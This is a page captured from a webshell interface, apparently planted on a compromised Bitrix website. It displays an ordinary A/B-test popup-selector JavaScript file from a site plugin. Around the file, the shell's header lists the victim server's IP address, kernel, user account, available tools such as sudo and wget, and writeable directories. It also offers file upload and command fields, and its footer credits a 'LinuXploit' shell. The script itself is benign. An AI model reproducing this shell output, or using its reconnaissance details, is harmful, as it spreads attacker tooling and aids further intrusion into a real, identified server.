403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/skyweb24.popuppro/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/skyweb24.popuppro/abtest_script.js
;(function () {
    BX.namespace("SelectPopupConstructor");

    BX.SelectPopupConstructor = function (data) {
        this.popups = data.popups;
        this.selected_a = data.popup_id_a;
        this.selected_b = data.popup_id_b;
        this.activeListIds = data.activeListIds;
        this.typeSelected = "";
        this.options_a = [];
        this.options_b = [];

        this.create();
        this._event();
    };

    BX.SelectPopupConstructor.prototype = {

        create: function () {

            this._dataRefresh();

            for (let type in this.popups) {
                for (let popup of this.popups[type]) {
                    this.options_a.push(BX.create({
                        tag: "option",
                        text: "[" + popup.id + "] " + popup.name,
                        attrs: {
                            value: popup.id,
                            selected: (this.selected_a == popup.id)
                        }
                    }));

                    if (this.selected_a == popup.id) {
                        this.typeSelected = popup.type
                    }
                }
            }

            for (let type in this.popups) {
                for (let popup of this.popups[type]) {
                    if (popup.type == this.typeSelected &&
                        popup.id != this.selected_a) {
                        this.options_b.push(BX.create({
                            tag: "option",
                            text: "[" + popup.id + "] " + popup.name,
                            attrs: {
                                value: popup.id,
                                selected: (this.selected_b == popup.id)
                            }
                        }));
                    }
                }
            }

            this._draw();
        },

        _dataRefresh: function () {
            this.container_a = document.querySelector(".container_popup_a");
            this.container_b = document.querySelector(".container_popup_b");

            this.select_a = this.container_a.querySelector("select");
            this.select_b = this.container_b.querySelector("select");

            this.options_a = [];
            this.options_b = [];
        },

        _draw: function () {

            BX.cleanNode(this.select_a);
            BX.cleanNode(this.select_b);

            for (let option of this.options_a)
                BX.append(option, this.select_a);

            for (let option of this.options_b)
                BX.append(option, this.select_b);

            this._createInfo();
        },

        _createInfo: function () {
            let selectedOptionsA = this.select_a.selectedOptions[0];
            let selectedOptionsB = this.select_b.selectedOptions[0];

            BX.remove(this.container_a.querySelector("a"));
            BX.remove(this.container_b.querySelector("a"));

            BX.style(
                this.container_a.querySelector(".adm-info-message-wrap"),
                "display", "none"
            );
            BX.style(
                this.container_b.querySelector(".adm-info-message-wrap"),
                "display", "none"
            );

            if (selectedOptionsA) {

                if (this.activeListIds.indexOf(selectedOptionsA.value) < 0) {
                    BX.style(
                        this.container_a.querySelector(".adm-info-message-wrap"),
                        "display", "block"
                    );
                }

                if (selectedOptionsA.value) {
                    BX.append(BX.create({
                        tag: "a",
                        text: BX.message("SKYWEB24_POPUPPRO_ABTEST_EDIT_WINDOW_SETTING"),
                        attrs: {
                            target: "_blank",
                            href: "/bitrix/admin/skyweb24_popuppro.php?lang=ru&id=" + selectedOptionsA.value
                        }
                    }), this.container_a);
                }
            }

            if (selectedOptionsB) {

                if (this.activeListIds.indexOf(selectedOptionsB.value) < 0) {
                    BX.style(
                        this.container_b.querySelector(".adm-info-message-wrap"),
                        "display", "block"
                    );
                }

                if (selectedOptionsB.value) {

                    if (selectedOptionsB.value) {
                        BX.append(BX.create({
                            tag: "a",
                            text: BX.message("SKYWEB24_POPUPPRO_ABTEST_EDIT_WINDOW_SETTING"),
                            attrs: {
                                target: "_blank",
                                href: "/bitrix/admin/skyweb24_popuppro.php?lang=ru&id=" + selectedOptionsB.value
                            }
                        }), this.container_b);
                    }
                }
            }
        },

        chanceDistributeTraffic: function (e) {
            document.querySelector(".abtest-traffic-count._a").innerHTML = `${100 - parseInt(e.target.value)}%`;
            document.querySelector(".abtest-traffic-count._b").innerHTML = `${e.target.value}%`;
        },

        _event: function () {
            BX.bind(document.querySelector(".select-window[name='popup_id_a']"),
                "change",
                BX.proxy(function (e) {

                    this.selected_a = e.target.value;
                    this.selected_b = this.select_b.selectedOptions[0];
                    this.create();

                }, this));

            BX.bind(document.querySelector(".select-window[name='popup_id_b']"),
                "change",
                BX.proxy(function (e) {
                    this._createInfo();
                }, this))

            BX.bind(document.querySelector(".abtest-traffic-select"),
                "change",
                BX.proxy(this.chanceDistributeTraffic, this)
            )

        }

    };

})();

Youez - 2016 - github.com/yon3zu
LinuXploit